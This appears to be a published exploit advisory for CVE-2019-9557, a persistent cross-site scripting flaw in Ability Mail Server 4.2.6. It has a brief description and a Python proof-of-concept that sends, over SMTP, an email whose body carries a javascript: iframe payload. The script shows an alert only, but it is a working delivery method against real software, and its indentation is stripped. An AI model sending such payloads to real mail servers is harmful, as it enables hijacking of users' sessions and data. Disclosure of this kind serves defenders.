Ability Mail Server 4.2.6 Cross Site Scripting

`  
# Exploit Title: Persistent Cross Site Scripting Ability Mail Server 4.2.6   
# CVE: CVE-2019-9557  
# Exploit Author: Aloyce J. Makalanga  
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>  
# Vendor Homepage: https://www.codecrafters.com/AbilityMailServer <https://www.codecrafters.com/AbilityMailServer>  
# Category: webapps  
# Attack Type: Remote  
# Impact: Data/Cookie hijacking  
  
  
1. Description  
  
  
> Ability Mail Server 4.2.6 has Persistent Cross Site Scripting (XSS) via  
> the body e-mail body. To exploit the vulnerability, the victim must  
> open an email with malicious Javascript inserted into the body of the  
> email as an iframe.  
  
  
  
2. Proof of Concept  
  
  
#!/usr/bin/env python -tt  
# -*- coding: utf-8 -*-  
  
# Import modules  
import smtplib  
  
  
def trigger_persistence_xss():  
email_addr = '[email protected]'  
email = 'From: %s\n' % email_addr  
email += 'To: %s\n' % email_addr  
email += 'Subject: XSS\n'  
email += 'Content-type: text/html\n\n'  
email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"  
s = smtplib.SMTP('192.168.1.172', 25)  
s.login(email_addr, "123456")  
s.sendmail(email_addr, email_addr, email)  
s.quit()  
  
  
def main():  
pass  
  
  
if __name__ == '__main__':  
trigger_persistence_xss()  
main()  
`